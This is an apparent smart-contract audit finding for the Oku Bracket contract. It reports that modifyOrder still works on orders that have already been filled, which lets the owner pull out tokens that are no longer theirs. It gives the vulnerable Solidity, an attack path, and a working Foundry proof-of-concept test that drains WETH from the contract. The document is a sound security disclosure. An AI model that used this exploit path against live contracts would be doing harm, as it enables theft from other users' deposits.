Upbeat Lead Kestrel

High

# Modifying order after filled can drain contract funds

### Summary

The missing logic to invalidate order after order filled can cause the contract funds to be drained by modifying order

### Root Cause

- The[ function `Bracket::performUpkeep()`](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L85-L145), implements logics to fill the pending order. The function executes order, send the funds to parties, and remove the order from pending orders list. However, the function does not update the order information, which is the mapping record `orders[pendingOrderIds[data.pendingOrderIdx]]`. 
- In the mean time, the [function `Bracket::modifyOrder()`](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L216-L297) allows the order owner to update the order without checking if the order is pending or filled.
```solidity
    function modifyOrder(
        uint96 orderId,
        uint256 _takeProfit,
        uint256 _stopPrice,
        uint256 amountInDelta,
        IERC20 _tokenOut,
        address _recipient,
        uint16 _takeProfitSlippage,
        uint16 _stopSlippage,
        bool permit,
        bool increasePosition,
        bytes calldata permitPayload
    ) external override nonReentrant {
        //get order
        Order memory order = orders[orderId];

        //only order owner
        require(msg.sender == order.recipient, "only order owner");

        //deduce any amountIn changes
        uint256 newAmountIn = order.amountIn;
        if (amountInDelta != 0) {
            if (increasePosition) {
                newAmountIn += amountInDelta;
                //take funds via permit2
                if (permit) {
                    handlePermit(
                        order.recipient,
                        permitPayload,
                        uint160(amountInDelta),
                        address(order.tokenIn)
                    );
                } else {
                    //legacy transfer, assume prior approval
                    order.tokenIn.safeTransferFrom(
                        order.recipient,
                        address(this),
                        amountInDelta
                    );
                }
            } else {
                //ensure delta is valid
                require(amountInDelta < order.amountIn, "invalid delta");

                //set new amountIn for accounting
                newAmountIn -= amountInDelta;

                //check min order size for new amount
                MASTER.checkMinOrderSize(order.tokenIn, newAmountIn);

                //refund position partially
                order.tokenIn.safeTransfer(order.recipient, amountInDelta);
            }
        }

        //check for oracles
        if (_tokenOut != order.tokenOut) {
            require(
                address(MASTER.oracles(_tokenOut)) != address(0x0),
                "Oracle !exist"
            );
        }

        //construct new order
        Order memory newOrder = Order({
            orderId: orderId,
            takeProfit: _takeProfit,
            stopPrice: _stopPrice,
            amountIn: newAmountIn,
            tokenIn: order.tokenIn,
            tokenOut: _tokenOut,
            feeBips: order.feeBips,
            takeProfitSlippage: _takeProfitSlippage,
            stopSlippage: _stopSlippage,
            recipient: _recipient,
            direction: MASTER.getExchangeRate(order.tokenIn, _tokenOut) >
                _takeProfit
        });

        //store new order
        orders[orderId] = newOrder;
    }
```
By this, the order owner can still increase/decrease position after the order is filled. By decreasing position, the order's `tokenIn` is refunded, which is the flaw to drain contract funds

Note that, the issue also happens with contract `StopLimit` and `OracleLess`

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

1. Attacker creates an order to sell WETH for USDC with amountIn = 1 ether
2. The order is filled, sending 4000 USDC to the attacker (assume WETH price is 4000$)
3. Attacker calls `modifyOrder()` to decrease position => attacker can be refunded WETH as long as the order USD value after refunded satisfies order min size

### Impact

- Funds can be drained

### PoC

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Bracket, IERC20, IBracket} from "contracts/automatedTrigger/Bracket.sol";
import {AutomationMaster, IPythRelay, IAutomation} from "contracts/automatedTrigger/AutomationMaster.sol";
import "contracts/interfaces/uniswapV3/IPermit2.sol";
import {MockERC20} from "forge-std/mocks/MockERC20.sol";

contract MockToken is MockERC20 {
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract MyTest is Test {
    Bracket bracket;
    AutomationMaster master;
    address permit2;

    IERC20 usdc;
    IERC20 weth;

    address usdcOracle;
    address wethOracle;

    IERC20[] tokens;
    IPythRelay[] oracles;

    uint96 currentOrderId;

    address alice;

    function setUp() public {
        permit2 = makeAddr("permit2");
        usdcOracle = makeAddr("usdcOracle");
        wethOracle = makeAddr("wethOracle");
        alice = makeAddr("alice");

        master = new AutomationMaster();
        bracket = new Bracket(master, IPermit2(permit2));

        MockToken _usdc = new MockToken();
        _usdc.initialize("usdc", "usdc", 8);
        _usdc.mint(address(this), 1000000e8);
        _usdc.mint(alice, 1000000e8);
        _usdc.approve(address(bracket), 1000000e8);
        vm.prank(alice);
        _usdc.approve(address(bracket), 1000000e8);

        usdc = IERC20(address(_usdc));

        MockToken _weth = new MockToken();
        _weth.initialize("weth", "WETH", 18);
        _weth.mint(address(this), 1e6 ether);
        _weth.mint(alice, 1e6 ether);
        _weth.approve(address(bracket), 1e6 ether);
        vm.prank(alice);
        _weth.approve(address(bracket), 1e6 ether);

        weth = IERC20(address(_weth));

        vm.label(address(usdc), "USDC");
        vm.label(address(weth), "WETH");

        tokens.push(usdc);
        tokens.push(weth);

        oracles.push(IPythRelay(usdcOracle));
        oracles.push(IPythRelay(wethOracle));

        master.registerOracle(tokens, oracles);
        master.setMaxPendingOrders(100);

        vm.mockCall(usdcOracle, abi.encodeWithSignature("currentValue()"), abi.encode(1e8));
        _updateETHPrice(4000);
    }

    function _updateETHPrice(uint256 price) internal {
        vm.mockCall(wethOracle, abi.encodeWithSignature("currentValue()"), abi.encode(price * 1e8));
    }

    function test_modifyOrder_drain() public {
      // @audit POC modify order

        // 1/ assumee that contract has WETH balance
        // which can be from other orders
        weth.transfer(address(bracket), 1 ether);

        // contract WETH balance before order is created
        uint initialWethBalance = weth.balanceOf(address(bracket));

        uint96 orderId = master.generateOrderId(address(this));
        currentOrderId = orderId;

        // 2/ attacker creates order
        bracket.createOrder({
            swapPayload: new bytes(0),
            takeProfit: 4100 * 1e8,
            stopPrice: 0,
            amountIn: 1 ether,
            tokenIn: weth,
            tokenOut: usdc,
            recipient: address(this),
            feeBips: 0,
            takeProfitSlippage: 0,
            stopSlippage: 0,
            permit: false,
            permitPayload: new bytes(0)
        });

        IAutomation.MasterUpkeepData memory upkeepData = IAutomation.MasterUpkeepData({
            orderType: IAutomation.OrderType.BRACKET,
            target: address(this),
            txData: abi.encodeWithSignature("validSwap()"),
            pendingOrderIdx: 0,
            orderId: orderId,
            tokenIn: weth,
            tokenOut: usdc,
            slippage: 0,
            amountIn: 1 ether,
            exchangeRate: 0
        });
        _updateETHPrice(4200);

        // 3/ order is filled
        bracket.performUpkeep(abi.encode(upkeepData));

        // 4/ attacker modifies order to drain funds
        bracket.modifyOrder(
            orderId,
            4100 * 1e8,
            0,
            1 ether - 0.00001 ether,
            usdc,
            address(this),
            0,
            0,
            false,
            false,
            new bytes(0)
        );

        // check if current balance is not less than the initial balance
        assertGt(
          weth.balanceOf(address(bracket)), initialWethBalance, "balance decreased"
        );
    }
}

```

Prepare the foundry test as above, run the test `test_modifyOrder_drain` and the console shows:
```bash
Failing tests:
Encountered 1 failing test in test/Counter.t.sol:MyTest
[FAIL: balance decreased: 10000000000000 <= 1000000000000000000] test_modifyOrder_drain() (gas: 378380)
```

### Mitigation

Mark order status properly